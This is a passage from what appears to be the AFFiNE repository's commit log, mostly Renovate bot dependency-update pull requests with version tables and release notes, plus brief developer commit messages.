| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.37.1` -> `8.40.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.37.1/8.40.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.9.2` -> `1.9.3`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.9.2/1.9.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.9.2/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.9.2/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/cookie-parser](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/cookie-parser) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/cookie-parser)) | [`1.4.7` -> `1.4.8`](https://renovatebot.com/diffs/npm/@types%2fcookie-parser/1.4.7/1.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fcookie-parser/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fcookie-parser/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fcookie-parser/1.4.7/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fcookie-parser/1.4.7/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.6` -> `20.17.8`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.6/20.17.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.6/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.6/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/nodemailer](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/nodemailer) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/nodemailer)) | [`6.4.16` -> `6.4.17`](https://renovatebot.com/diffs/npm/@types%2fnodemailer/6.4.16/6.4.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnodemailer/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnodemailer/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnodemailer/6.4.16/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnodemailer/6.4.16/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/css](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/css)) | [`1.16.0` -> `1.16.1`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fcss/1.16.0/1.16.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fcss/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fcss/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fcss/1.16.0/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fcss/1.16.0/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`4.0.17` -> `4.0.18`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.17/4.0.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.17/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.17/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.14` -> `2.3.15`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.14/2.3.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.1
2024-11-27 09:26:51 +00:00
pengx17
f2398574ed fix(electron): should not show context menu if there is no typos (#8895)
fix AF-1794
2024-11-27 07:00:45 +00:00
EYHN
6e25243868 refactor(infra): refactor copilot client (#8813) 2024-11-27 06:44:47 +00:00
EYHN
6b4a1aa917 refactor(core): initial multiple servers infra (#8745)
This is the initial refactoring of affine to support multiple servers, but many more changes are needed to make multi-server actually work.
2024-11-27 06:44:46 +00:00
EYHN
3f4cb5be40 fix(core): improve doc meta performance (#8913) 2024-11-27 14:18:06 +08:00
pengx17
83c587f8ad feat(core): at menu journal entries (#8877) (#8935)
fix AF-1790
fix AF-1774
added `DateSelectorDialog` for selecting a date through blocksuite;
added `AtMenuConfigService` for constructing the at menu config
fix AF-1776
fix PD-1942

resubmitted to replace #8877
2024-11-27 03:08:11 +00:00
donteatfriedrice
e3a8f1e9bd fix(core): log error detail when import failed (#8930) 2024-11-26 16:09:38 +00:00
doodlewind
6ac8cca440 fix(mobile): disable AI chat block peek on mobile (#8929) 2024-11-26 11:06:15 +00:00
renovate
75516c7584 chore: bump up i18next version to v24 (#8898)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`^23.11.1` -> `^24.0.0`](https://renovatebot.com/diffs/npm/i18next/23.16.5/24.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/23.16.5/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/23.16.5/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>i18next/i18next (i18next)</summary>

### [`v24.0.0`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#2400)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.8...v24.0.0)

**This is a major breaking release:**

-   remove support for older environments
-   remove old i18next JSON formats
    -   To convert your existing v3 translations to the v4 format, have a look at [i18next-v4-format-converter](https://redirect.github.com/i18next/i18next-v4-format-converter) or this [web tool](https://i18next.github.io/i18next-v4-format-converter-web/).
-   remove support for compatibility to v1 API
-   Intl API is mandatory now and will not fallback anymore
-   possible compatibility layer for older formats: `test/compatibility/v4/v4Compatibility.js`
-   rename `initImmediate` to `initAsync`
-   fallback to `dev` language if plural rule not found
-   remove TypeScript v4 support. TypeScript v5 is now an optional peer dependency
-   addresses
    -   [2244](https://redirect.github.com/i18next/i18next/pull/2244)
    -   [2184](https://redirect.github.com/i18next/i18next/pull/2184)
    -   [2213](https://redirect.github.com/i18next/i18next/issues/2213)
    -   [2206](https://redirect.github.com/i18next/i18next/pull/2206)
    -   [2208](https://redirect.github.com/i18next/i18next/issues/2208)
    -   [2148](https://redirect.github.com/i18next/i18next/issues/2148)
    -   [2254](https://redirect.github.com/i18next/i18next/issues/2254)

➡️ check out the [migration guide](https://www.i18next.com/misc/migration-guide#v23.x.x-to-v24.0.0)

### [`v23.16.8`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23168)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.7...v23.16.8)

-   fix(plural): Create cache entry for PluralRules created as part of the fallback flow [2256](https://redirect.github.com/i18next/i18next/pull/2256)

### [`v23.16.7`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23167)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.6...v23.16.7)

-   if plural rule is not found, try to search with language only code [2252](https://redirect.github.com/i18next/i18next/issues/2252)

### [`v23.16.6`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23166)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.5...v23.16.6)

-   fix: Small typo in the type definitions [2250](https://redirect.github.com/i18next/i18next/pull/2250)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-26 10:51:10 +00:00
renovate
6698ecc804 chore: bump up dnd-kit monorepo (major) (#8902)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@dnd-kit/modifiers](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/modifiers)) | [`^7.0.0` -> `^8.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fmodifiers/7.0.0/8.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fmodifiers/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fmodifiers/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fmodifiers/7.0.0/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fmodifiers/7.0.0/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@dnd-kit/sortable](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/sortable)) | [`^8.0.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fsortable/8.0.0/9.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fsortable/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fsortable/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fsortable/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fsortable/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/modifiers)</summary>

### [`v8.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/modifiers/CHANGELOG.md#800)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/modifiers@7.0.0...@dnd-kit/modifiers@8.0.0)

##### Patch Changes

-   Updated dependencies \[[`00ec286`](00ec286ab2), [`995dc23`](995dc23b7c), [`f629ec6`](f629ec6a9c), [`99643f6`](99643f634c), [`6bbe39b`](6bbe39bba6), [`545a41c`](545a41c27c), [`bcaf7c4`](bcaf7c4e57)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).2.0

</details>

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/sortable)</summary>

### [`v9.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/sortable/CHANGELOG.md#900)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/sortable@8.0.0...@dnd-kit/sortable@9.0.0)

##### Patch Changes

-   [#&#8203;1542](https://redirect.github.com/clauderic/dnd-kit/pull/1542) [`f629ec6`](f629ec6a9c) Thanks [@&#8203;clauderic](https://redirect.github.com/clauderic)! - Fix bug with draggable and sortable elements with an `id` equal to `0`.

-   Updated dependencies \[[`00ec286`](00ec286ab2), [`995dc23`](995dc23b7c), [`f629ec6`](f629ec6a9c), [`99643f6`](99643f634c), [`6bbe39b`](6bbe39bba6), [`545a41c`](545a41c27c), [`bcaf7c4`](bcaf7c4e57)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).2.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-26 10:34:17 +00:00
doodlewind
ba325a6040 chore: update env example (#8909)
This aligns better with the postgres config in [server development guide](https://github.com/toeverything/AFFiNE/blob/canary/docs/developing-server.md).
2024-11-26 10:17:16 +00:00
renovate
4e47eb4fd5 chore: bump up nestjs to v10.4.9 (#8921)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

